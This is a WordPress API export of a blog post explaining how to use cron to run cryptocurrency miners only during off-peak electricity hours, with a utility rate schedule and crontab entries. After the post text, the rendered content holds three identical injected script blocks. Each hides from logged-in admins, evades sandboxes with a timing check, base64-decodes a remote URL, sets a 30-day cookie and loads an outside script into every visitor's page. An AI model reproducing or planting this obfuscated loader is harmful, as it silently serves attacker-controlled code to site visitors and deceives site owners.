{"id":1804,"date":"2019-03-29T16:13:19","date_gmt":"2019-03-29T23:13:19","guid":{"rendered":"https:\/\/blog.ronrecord.com\/?p=1804"},"modified":"2025-10-02T10:37:06","modified_gmt":"2025-10-02T17:37:06","slug":"how-to-run-high-use-apps-during-off-peak-hours","status":"publish","type":"post","link":"https:\/\/blog.ronrecord.com\/index.php\/2019\/03\/29\/how-to-run-high-use-apps-during-off-peak-hours\/","title":{"rendered":"How To Run High Use Apps During Off-Peak Hours"},"content":{"rendered":"\n<p>Most electricity utilities charge higher rates during &#8220;peak&#8221; hours, times and\/or days of the week during which the public typically uses a lot of energy. If you run energy intensive applications during peak or near peak hours then you may run up your energy bill unexpectedly high. What follows is a way to schedule these energy intensive tasks so they run during off-peak hours only.<\/p>\n\n\n\n<h3>Sample Rate Schedule<\/h3>\n\n\n\n<p>Here is my energy provider&#8217;s rate schedule for my plan:<\/p>\n\n\n\n<h4>Summer weekdays&nbsp;(May &#8211; October)<\/h4>\n\n\n\n<p><strong>Off-Peak<\/strong> 9PM &#8211; 10AM<\/p>\n\n\n\n<p><strong>Part-Peak <\/strong>10AM &#8211; 1PM and 7PM &#8211; 9PM<br><\/p>\n\n\n\n<p><strong>Peak<\/strong> 1PM &#8211; 7PM<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><td><strong>Weekends<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>Part-Peak<\/strong><\/td><td>5PM &#8211; 8PM<\/td><\/tr><tr><td><strong>Off-Peak<\/strong><\/td><td>8PM &#8211; 5PM<\/td><\/tr><\/tbody><\/table>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><td><strong>Holidays <\/strong>&#8211; Standard Tiered Rates (Tier 2)<\/td><\/tr><\/thead><tbody><tr><td><strong>Off-Peak<\/strong><\/td><td>All day<\/td><\/tr><\/tbody><\/table>\n\n\n\n<h4>Winter weekdays&nbsp;(November &#8211; April)<\/h4>\n\n\n\n<p><strong>Off-Peak<\/strong> 8PM &#8211; 5PM<\/p>\n\n\n\n<p><strong>Part-Peak <\/strong>5PM &#8211; 8PM<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><td><strong>Weekends<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>Off-Peak<\/strong><\/td><td>All day<\/td><\/tr><\/tbody><\/table>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><td><strong>Holidays<\/strong> &#8211; Standard Tiered Rates (Tier 2)<\/td><\/tr><\/thead><tbody><tr><td><strong>Off-Peak<\/strong><\/td><td>All day<\/td><\/tr><\/tbody><\/table>\n\n\n\n<h3>Saving Energy &amp; Saving Money<\/h3>\n\n\n\n<p><strong>Seasons<\/strong>: During summer, prices are lowest in the morning, late evenings, and weekends from May through October. During winter months from November through April, prices are lowest at all times outside of 5 p.m. &#8211; 8 p.m. on weekdays (excluding holidays).<\/p>\n\n\n\n<p>You can lower your energy costs by staying within the lowest priced level or tier. I&#8217;ve written a crontab entry that runs my energy intensive cryptocurrency miners during off-peak hours only. This saves quite a bit in energy costs while simultaneously allowing me to mine cryptocurrency during much of the day\/week.<\/p>\n\n\n\n<p>Your plan may vary from the above schedule. The first step in scheduling your energy intensive jobs is to determine your rate schedule. This is typically available via the website of your energy provider. Once you have determined your rate schedule you can then utilize the <strong>cron<\/strong> facility on a Unix or Linux based computer to control the time of execution of your application(s).<\/p>\n\n\n\n<h3>The Cron Utility on Unix &amp; Linux Systems<\/h3>\n\n\n\n<p>The software utility\u00a0<strong>cron<\/strong>\u00a0is a time-based\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Job_scheduler\">job scheduler<\/a>\u00a0in\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Unix-like\">Unix-like<\/a>\u00a0computer\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Operating_system\">operating systems<\/a>. People who set up and maintain software environments use cron to schedule jobs (commands or\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Shell_script\">shell scripts<\/a>) to run periodically at fixed times, dates, or intervals. It typically automates system maintenance or administration\u2014though its general-purpose nature makes it useful for things like downloading files from the\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Internet\">Internet<\/a>\u00a0and downloading\u00a0<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Email\">email<\/a>\u00a0at regular intervals. The origin of the name\u00a0<em>cron<\/em>\u00a0is from the Greek word for time, \u03c7\u03c1\u03cc\u03bd\u03bf\u03c2 (<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Chronos\">chronos<\/a>).<\/p>\n\n\n\n<p>Cron is driven by a\u00a0<strong>crontab<\/strong>\u00a0(cron table) file, a configuration file that specifies\u00a0shell\u00a0commands to run periodically on a given schedule. The crontab files are stored where the lists of jobs and other instructions to the cron\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Daemon_(computer_software)\">daemon<\/a>\u00a0are kept. Users can have their own individual crontab files and often there is a system-wide crontab file (usually in\u00a0<code>\/etc<\/code>\u00a0or a subdirectory of\u00a0<code>\/etc<\/code>) that only system administrators can edit.<\/p>\n\n\n\n<p>Each line of a crontab file represents a job, and looks like this:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 minute (0-59)<br># \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 hour (0-23)<br># \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the month (1-31)<br># \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 month (1-12)<br># \u2502 \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the week (0-6) (Sunday to Saturday;<br># \u2502 \u2502 \u2502 \u2502 \u2502                       7 is also Sunday on some systems)<br># \u2502 \u2502 \u2502 \u2502 \u2502<br># \u2502 \u2502 \u2502 \u2502 \u2502<br># * * * * * command to execute <\/pre>\n\n\n\n<h3>My Energy\/Money Saving Crontab Entry<\/h3>\n\n\n\n<p>The syntax of each line expects a cron expression made of five fields, followed by a shell command to execute. Here is a crontab entry I wrote to run my cryptocurrency miners only during my off-peak hours:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Crontab entries to run a cryptocurrency miner only during 2019\n# PG&amp;E Off-Peak hours\n#\n# You may have to adjust the hours\/days\/months for your energy\n# provider.\n#\n# By default these entries run every 15 minutes.\n# This provides a keepalive function and relies on the\n# start_miner script checking to see if it is already running.\n# You may prefer to change the '0,15,30,45' entries to simply\n# '0' or '15' to only\n# start\/stop once and not every 15 minutes. Or, you may prefer\n# to increase the \"keepalive\" frequency from 15 to 5 minutes\n#   '0,5,10,15,20,25,30,35,40,45,50,55'\n#\n# Written October 24, 2018 by Ron Record\n# (gitlab at ronrecord dot com)\n#\n# TODO: Figure out how to add Holidays to start times and\n# remove them from stop times\n#\n# Set SHELL to run my custom cron script when running commands\nSHELL=\/usr\/local\/bin\/cron.bash\n#\n# minutes hours days-of-month months days-of-week  command\n#\n# Start miner during off-peak hours (Summer)\n# ------------------------------------------\n# Weekdays\n0,15,30,45 0-9,21-23 * 5-10 1-5 \/usr\/local\/bin\/start_miner\n# Weekends\n0,15,30,45 0-12,20-23 * 5-10 0,6 \/usr\/local\/bin\/start_miner\n#\n# Start miner during off-peak hours (Winter)\n# ------------------------------------------\n# Weekdays\n0,15,30,45 0-16,20-23 * 1-4,11,12 1-5 \/usr\/local\/bin\/start_miner\n# Weekends\n0,15,30,45 * * 1-4,11,12 0,6 \/usr\/local\/bin\/start_miner\n#\n# Stop miner during peak\/near-peak hours (Summer)\n# -----------------------------------------------\n# Weekdays\n0,15,30,45 10-20 * 5-10 1-5 \/usr\/local\/bin\/stop_miner\n# Weekends\n0,15,30,45 13-19 * 5-10 0,6 \/usr\/local\/bin\/stop_miner\n#\n# Stop miner during peak\/near-peak hours (Winter)\n# -----------------------------------------------\n0,15,30,45 17-19 * 1-4,11,12 1-5 \/usr\/local\/bin\/stop_miner<\/code><\/pre>\n\n\n\n<p><br><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Most electricity utilities charge higher rates during &#8220;peak&#8221; hours, times and\/or days of the week during which the public typically uses a lot of energy. If you run energy intensive&hellip; <\/p>\n","protected":false},"author":1,"featured_media":1805,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[94,188],"tags":[820,821,818,576,824,819,822,823],"_links":{"self":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1804"}],"collection":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/comments?post=1804"}],"version-history":[{"count":4,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1804\/revisions"}],"predecessor-version":[{"id":6586,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1804\/revisions\/6586"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media\/1805"}],"wp:attachment":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media?parent=1804"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/categories?post=1804"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/tags?post=1804"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}